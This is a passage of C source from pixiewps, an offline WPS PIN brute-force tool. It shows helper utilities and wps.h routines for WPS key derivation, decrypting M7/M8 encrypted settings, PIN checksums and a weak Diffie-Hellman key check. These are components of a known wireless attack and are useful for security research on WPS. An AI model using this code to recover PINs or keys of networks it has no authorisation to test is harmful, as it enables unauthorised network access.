{ 35 | unsigned char o = 0; 36 | for (unsigned char j = 0; j < 2; j++) { 37 | o <<= 4; 38 | if (*in >= 'A' && *in <= 'F') 39 | *in += 'a'-'A'; 40 | if (*in >= '0' && *in <= '9') 41 | o += *in - '0'; 42 | else 43 | if (*in >= 'a' && *in <= 'f') 44 | o += *in - 'a' + 10; 45 | else 46 | return 1; 47 | in++; 48 | } 49 | *out++ = o; 50 | if (len == b_len) { 51 | if (*in == ':' || *in == '-' || *in == ' ' || *in == 0) 52 | in++; 53 | else 54 | return 1; 55 | } 56 | } 57 | return 0; 58 | } 59 | 60 | /* Convert an hex string to a byte array */ 61 | unsigned int hex_string_to_byte_array_max( 62 | char *in, uint8_t *out, const unsigned int max_len, unsigned int *m_len) 63 | { 64 | uint_fast8_t o, separator = 0; 65 | unsigned int count = 0; 66 | unsigned int len = strlen(in); 67 | 68 | if (len > 2) 69 | if (in[2] == ':' || in[2] == '-' || in[2] == ' ') 70 | separator = 1; 71 | if (separator) { 72 | if ((len + 1) / 3 > max_len) 73 | return 1; 74 | } 75 | else { 76 | if (len / 2 > max_len) 77 | return 1; 78 | } 79 | 80 | for (unsigned int i = 0; i < max_len; i++) { 81 | o = 0; 82 | for (uint_fast8_t j = 0; j < 2; j++) { 83 | o <<= 4; 84 | if (*in >= 'A' && *in <= 'F') 85 | *in += 'a'-'A'; 86 | if (*in >= '0' && *in <= '9') 87 | o += *in - '0'; 88 | else 89 | if (*in >= 'a' && *in <= 'f') 90 | o += *in - 'a' + 10; 91 | else 92 | return 1; 93 | in++; 94 | } 95 | *out++ = o; 96 | count++; 97 | 98 | if (*in == 0) 99 | goto end; 100 | 101 | if (separator) { 102 | if (*in == ':' || *in == '-' || *in == ' ') 103 | in++; 104 | else 105 | return 1; 106 | } 107 | } 108 | 109 | end: 110 | *m_len = count; 111 | return 0; 112 | } 113 | 114 | /* Convert a string into an integer */ 115 | int get_int(char *in, int *out) 116 | { 117 | int i, o = 0, len = strlen(in); 118 | for (i = 0; i < len; i++) { 119 | if ('0' <= *in && *in <= '9') 120 | o = o * 10 + *in - '0'; 121 | else 122 | return 1; 123 | in++; 124 | } 125 | *out = o; 126 | return 0; 127 | } 128 | 129 | unsigned int bit_revert(unsigned int v) 130 | { 131 | size_t i; 132 | unsigned int n = 0; 133 | for (i = 0; i < sizeof(unsigned int) * 8; i++) { 134 | const unsigned int lsb = v & 1; 135 | v >>= 1; 136 | n <<= 1; 137 | n |= lsb; 138 | } 139 | return n; 140 | } 141 | 142 | /* Custom timegm function made by Eric S Raymond */ 143 | time_t c_timegm(struct tm *t) 144 | { 145 | long year; 146 | time_t result; 147 | 148 | #define MONTHS_PER_YEAR 12 /* Months per calendar year */ 149 | 150 | static const int cdays[MONTHS_PER_YEAR] = 151 | { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334 }; 152 | 153 | year = 1900 + t->tm_year + t->tm_mon / MONTHS_PER_YEAR; 154 | result = (year - 1970) * 365 + cdays[t->tm_mon % MONTHS_PER_YEAR]; 155 | result += (year - 1968) / 4; 156 | result -= (year - 1900) / 100; 157 | result += (year - 1600) / 400; 158 | if ((year % 4) == 0 && ((year % 100) != 0 || (year % 400) == 0) && 159 | (t->tm_mon % MONTHS_PER_YEAR) < 2) { 160 | result--; 161 | } 162 | result += t->tm_mday - 1; 163 | result *= 24; 164 | result += t->tm_hour; 165 | result *= 60; 166 | result += t->tm_min; 167 | result *= 60; 168 | result += t->tm_sec; 169 | if (t->tm_isdst == 1) 170 | result -= 3600; 171 | 172 | return result; 173 | } 174 | 175 | /* Convert a [mm/]yyyy string to Unix date time */ 176 | unsigned int get_unix_datetime(char *s, time_t *datetime) 177 | { 178 | unsigned int len = strlen(s); 179 | int month = 0, year; 180 | 181 | if (len == 4) { 182 | if (get_int(s, &year)) 183 | return 1; 184 | } 185 | else if (len == 7) { 186 | if (s[2] != '/' && s[2] != '-' && s[2] != '.') 187 | return 1; 188 | 189 | char s_month[3]; 190 | char s_year[5]; 191 | if (s[0] == '0') { 192 | s_month[0] = s[1]; 193 | s_month[1] = 0; 194 | } 195 | else { 196 | s_month[0] = s[0]; 197 | s_month[1] = s[1]; 198 | s_month[2] = 0; 199 | } 200 | 201 | s_year[0] = s[3]; 202 | s_year[1] = s[4]; 203 | s_year[2] = s[5]; 204 | s_year[3] = s[6]; 205 | s_year[4] = 0; 206 | 207 | if (get_int(s_month, &month) || get_int(s_year, &year)) 208 | return 1; 209 | if (year < 1970 || year > 2038 || month < 1 || month > 12 || (month > 2 && year == 2038)) 210 | return 1; 211 | } 212 | else { 213 | return 1; 214 | } 215 | 216 | if (year == 2038 && month == 2) { 217 | *datetime = (time_t)0x7fffffff; 218 | } 219 | else { 220 | struct tm t = { 221 | .tm_year = year - 1900, 222 | .tm_mon = month - 1, 223 | .tm_mday = 1 }; 224 | *datetime = c_timegm(&t); 225 | 226 | if (*datetime < 0) /* When time_t is 64 bits this check is pointless */ 227 | return 1; 228 | } 229 | 230 | return 0; 231 | } 232 | 233 | /* Subtract the ‘struct timeval’ values X and Y 234 | Return 1 if the difference is negative, otherwise 0 235 | Reference: https://www.gnu.org/software/libc/manual/html_node/Elapsed-Time.html */ 236 | int timeval_subtract(struct timeval *result, struct timeval *x, struct timeval *y) 237 | { 238 | /* Perform the carry for the later subtraction by updating y */ 239 | if (x->tv_usec < y->tv_usec) { 240 | const int nsec = (y->tv_usec - x->tv_usec) / 1000000 + 1; 241 | y->tv_usec -= 1000000 * nsec; 242 | y->tv_sec += nsec; 243 | } 244 | if (x->tv_usec - y->tv_usec > 1000000) { 245 | const int nsec = (x->tv_usec - y->tv_usec) / 1000000; 246 | y->tv_usec += 1000000 * nsec; 247 | y->tv_sec -= nsec; 248 | } 249 | 250 | /* Compute the time remaining to wait, tv_usec is certainly positive */ 251 | result->tv_sec = x->tv_sec - y->tv_sec; 252 | result->tv_usec = x->tv_usec - y->tv_usec; 253 | 254 | /* Return 1 if result is negative */ 255 | return x->tv_sec < y->tv_sec; 256 | } 257 | 258 | /* Convert an unsigned integer to a char array without termination */ 259 | static inline void uint_to_char_array(unsigned int num, unsigned int len, char *dst) 260 | { 261 | unsigned int mul = 1; 262 | while (len--) { 263 | dst[len] = (num % (mul * 10) / mul) + '0'; 264 | mul *= 10; 265 | } 266 | } 267 | 268 | /* Print a byte array in hexadecimal */ 269 | void byte_array_print(const uint8_t *buffer, const unsigned int length) 270 | { 271 | for (unsigned int i = 0; i < length; i++) 272 | printf("%02x", buffer[i]); 273 | } 274 | 275 | #endif /* UTILS_H */ 276 | -------------------------------------------------------------------------------- /src/version.h: -------------------------------------------------------------------------------- 1 | /* 2 | * pixiewps: offline WPS brute-force utility that exploits low entropy PRNGs 3 | * 4 | * Copyright (c) 2015-2017, wiire 5 | * SPDX-License-Identifier: GPL-3.0+ 6 | * 7 | * This program is free software: you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation, either version 3 of the License, or 10 | * (at your option) any later version. 11 | * 12 | * This program is distributed in the hope that it will be useful, 13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | * GNU General Public License for more details. 16 | */ 17 | #ifndef VERSION_H 18 | #define VERSION_H 19 | 20 | #define SHORT_VERSION "1.4" 21 | #define LONG_VERSION "1.4.2" 22 | 23 | #endif /* VERSION_H */ 24 | -------------------------------------------------------------------------------- /src/wps.h: -------------------------------------------------------------------------------- 1 | /* 2 | * pixiewps: offline WPS brute-force utility that exploits low entropy PRNGs 3 | * 4 | * Copyright (c) 2015-2017, wiire 5 | * SPDX-License-Identifier: GPL-3.0+ 6 | * 7 | * This program is free software: you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation, either version 3 of the License, or 10 | * (at your option) any later version. 11 | * 12 | * This program is distributed in the hope that it will be useful, 13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | * GNU General Public License for more details. 16 | */ 17 | #ifndef WPS_H 18 | #define WPS_H 19 | 20 | /* WPS constants */ 21 | #define WPS_PIN_LEN 8 22 | #define WPS_PKEY_LEN 192 23 | #define WPS_HASH_LEN 32 24 | #define WPS_AUTHKEY_LEN 32 25 | #define WPS_EMSK_LEN 32 26 | #define WPS_KEYWRAPKEY_LEN 16 27 | #define WPS_NONCE_LEN 16 28 | #define WPS_SECRET_NONCE_LEN 16 29 | #define WPS_PSK_LEN 16 30 | #define WPS_BSSID_LEN 6 31 | 32 | #define ENC_SETTINGS_LEN 256 /* There is not a max length */ 33 | #define MAX_PSK_LEN 64 34 | 35 | #include 36 | #include 37 | 38 | #include "config.h" 39 | #include "pixiewps.h" 40 | #include "utils.h" 41 | 42 | struct ie_vtag { 43 | uint16_t id; 44 | #define WPS_TAG_E_SNONCE_1 "\x10\x16" 45 | #define WPS_TAG_E_SNONCE_2 "\x10\x17" 46 | #define WPS_TAG_SSID "\x10\x45" 47 | #define WPS_TAG_BSSID "\x10\x20" 48 | #define WPS_TAG_AUTH_TYPE "\x10\x03" 49 | #define WPS_TAG_ENC_TYPE "\x10\x0F" 50 | #define WPS_TAG_NET_KEY "\x10\x27" 51 | #define WPS_TAG_NET_KEY_IDX "\x10\x28" 52 | #define WPS_TAG_KEYWRAP_AUTH "\x10\x1E" 53 | uint16_t len; 54 | #define WPS_TAG_AUTH_TYPE_LEN 2 55 | #define WPS_TAG_ENC_TYPE_LEN 2 56 | #define WPS_TAG_NET_KEY_IDX_LEN 1 57 | #define WPS_TAG_KEYWRAP_AUTH_LEN 8 58 | uint8_t data[]; 59 | } __attribute__((packed)); 60 | #define VTAG_SIZE (sizeof(struct ie_vtag)) 61 | 62 | struct ie_vtag *find_vtag(void *vtagp, int vtagl, void *vidp, int vlen) 63 | { 64 | uint8_t *vid = vidp; 65 | struct ie_vtag *vtag = vtagp; 66 | while (0 < vtagl) { 67 | const int len = end_ntoh16(vtag->len); 68 | if (vid && memcmp(vid, &vtag->id, 2) != 0) 69 | goto next_vtag; 70 | if (!vlen || len == vlen) 71 | return vtag; 72 | 73 | next_vtag: 74 | vtagl -= len + VTAG_SIZE; 75 | vtag = (struct ie_vtag *)((uint8_t *)vtag + len + VTAG_SIZE); 76 | } 77 | return NULL; 78 | } 79 | 80 | /* Diffie-Hellman group */ 81 | static const uint8_t dh_group5_generator[1] = { 0x02 }; 82 | static const uint8_t dh_group5_prime[192] = { 83 | 0xFF,0xFF,0xFF,0xFF, 0xFF,0xFF,0xFF,0xFF, 0xC9,0x0F,0xDA,0xA2, 0x21,0x68,0xC2,0x34, 84 | 0xC4,0xC6,0x62,0x8B, 0x80,0xDC,0x1C,0xD1, 0x29,0x02,0x4E,0x08, 0x8A,0x67,0xCC,0x74, 85 | 0x02,0x0B,0xBE,0xA6, 0x3B,0x13,0x9B,0x22, 0x51,0x4A,0x08,0x79, 0x8E,0x34,0x04,0xDD, 86 | 0xEF,0x95,0x19,0xB3, 0xCD,0x3A,0x43,0x1B, 0x30,0x2B,0x0A,0x6D, 0xF2,0x5F,0x14,0x37, 87 | 0x4F,0xE1,0x35,0x6D, 0x6D,0x51,0xC2,0x45, 0xE4,0x85,0xB5,0x76, 0x62,0x5E,0x7E,0xC6, 88 | 0xF4,0x4C,0x42,0xE9, 0xA6,0x37,0xED,0x6B, 0x0B,0xFF,0x5C,0xB6, 0xF4,0x06,0xB7,0xED, 89 | 0xEE,0x38,0x6B,0xFB, 0x5A,0x89,0x9F,0xA5, 0xAE,0x9F,0x24,0x11, 0x7C,0x4B,0x1F,0xE6, 90 | 0x49,0x28,0x66,0x51, 0xEC,0xE4,0x5B,0x3D, 0xC2,0x00,0x7C,0xB8, 0xA1,0x63,0xBF,0x05, 91 | 0x98,0xDA,0x48,0x36, 0x1C,0x55,0xD3,0x9A, 0x69,0x16,0x3F,0xA8, 0xFD,0x24,0xCF,0x5F, 92 | 0x83,0x65,0x5D,0x23, 0xDC,0xA3,0xAD,0x96, 0x1C,0x62,0xF3,0x56, 0x20,0x85,0x52,0xBB, 93 | 0x9E,0xD5,0x29,0x07, 0x70,0x96,0x96,0x6D, 0x67,0x0C,0x35,0x4E, 0x4A,0xBC,0x98,0x04, 94 | 0xF1,0x74,0x6C,0x08, 0xCA,0x23,0x73,0x27, 0xFF,0xFF,0xFF,0xFF, 0xFF,0xFF,0xFF,0xFF 95 | }; 96 | 97 | /* Wi-Fi Easy and Secure Key Derivation */ 98 | static const uint8_t kdf_salt[] = { 99 | 0x57,0x69,0x2D,0x46, 0x69,0x20,0x45,0x61, 0x73,0x79,0x20,0x61, 0x6E,0x64,0x20,0x53, 100 | 0x65,0x63,0x75,0x72, 0x65,0x20,0x4B,0x65, 0x79,0x20,0x44,0x65, 0x72,0x69,0x76,0x61, 101 | 0x74,0x69,0x6F,0x6E 102 | }; 103 | 104 | /* Key Derivation Function */ 105 | void kdf(const void *key, uint8_t *res) 106 | { 107 | const uint32_t kdk_len = (WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN + WPS_EMSK_LEN) * 8; 108 | uint_fast8_t j = 0; 109 | 110 | uint8_t *buffer = malloc(sizeof(kdf_salt) + sizeof(uint32_t) * 2); 111 | 112 | for (uint32_t i = 1; i < 4; i++) { 113 | uint32_t be = end_htobe32(i); 114 | memcpy(buffer, &be, sizeof(uint32_t)); 115 | memcpy(buffer + sizeof(uint32_t), kdf_salt, sizeof(kdf_salt)); 116 | be = end_htobe32(kdk_len); 117 | memcpy(buffer + sizeof(uint32_t) + sizeof(kdf_salt), &be, sizeof(uint32_t)); 118 | hmac_sha256(key, WPS_HASH_LEN, buffer, sizeof(kdf_salt) + sizeof(uint32_t) * 2, res + j); 119 | j += WPS_HASH_LEN; 120 | } 121 | free(buffer); 122 | } 123 | 124 | /* Decrypt encrypted settings in M7-M8 */ 125 | uint8_t *decrypt_encr_settings(uint8_t *keywrapkey, const uint8_t *encr, size_t encr_len) 126 | { 127 | uint8_t *decrypted; 128 | const size_t block_size = 16; 129 | size_t i; 130 | uint8_t pad; 131 | const uint8_t *pos; 132 | size_t n_encr_len; 133 | 134 | /* AES-128-CBC */ 135 | if (encr == NULL || encr_len < 2 * block_size || encr_len % block_size) 136 | return NULL; 137 | 138 | decrypted = malloc(encr_len - block_size); 139 | if (decrypted == NULL) 140 | return NULL; 141 | 142 | memcpy(decrypted, encr + block_size, encr_len - block_size); 143 | n_encr_len = encr_len - block_size; 144 | if (aes_128_cbc_decrypt(keywrapkey, encr, decrypted, n_encr_len)) { 145 | free(decrypted); 146 | return NULL; 147 | } 148 | 149 | pos = decrypted + n_encr_len - 1; 150 | pad = *pos; 151 | if (pad > n_encr_len) { 152 | free(decrypted); 153 | return NULL; 154 | } 155 | for (i = 0; i < pad; i++) { 156 | if (*pos-- != pad) { 157 | free(decrypted); 158 | return NULL; 159 | } 160 | } 161 | 162 | return decrypted; 163 | } 164 | 165 | /* Pin checksum computing */ 166 | static inline uint_fast8_t wps_pin_checksum(uint_fast32_t pin) 167 | { 168 | unsigned int acc = 0; 169 | while (pin) { 170 | acc += 3 * (pin % 10); 171 | pin /= 10; 172 | acc += pin % 10; 173 | pin /= 10; 174 | } 175 | return (10 - acc % 10) % 10; 176 | } 177 | 178 | /* Validity PIN control based on checksum */ 179 | static inline uint_fast8_t wps_pin_valid(uint_fast32_t pin) 180 | { 181 | return wps_pin_checksum(pin / 10) == (pin % 10); 182 | } 183 | 184 | /* Checks if PKe == 2 */ 185 | static inline uint_fast8_t check_small_dh_keys(const uint8_t *data) 186 | { 187 | uint_fast8_t i = WPS_PKEY_LEN - 2; 188 | while (--i) { 189 | if (data[i] != 0) 190 | break; 191 | } 192 | i = (i == 0 && data[WPS_PKEY_LEN - 1] == 0x02) ? 1 : 0; 193 | return i; 194 | } 195 | 196 | #endif /* WPS_H */ 197 | --------------------------------------------------------------------------------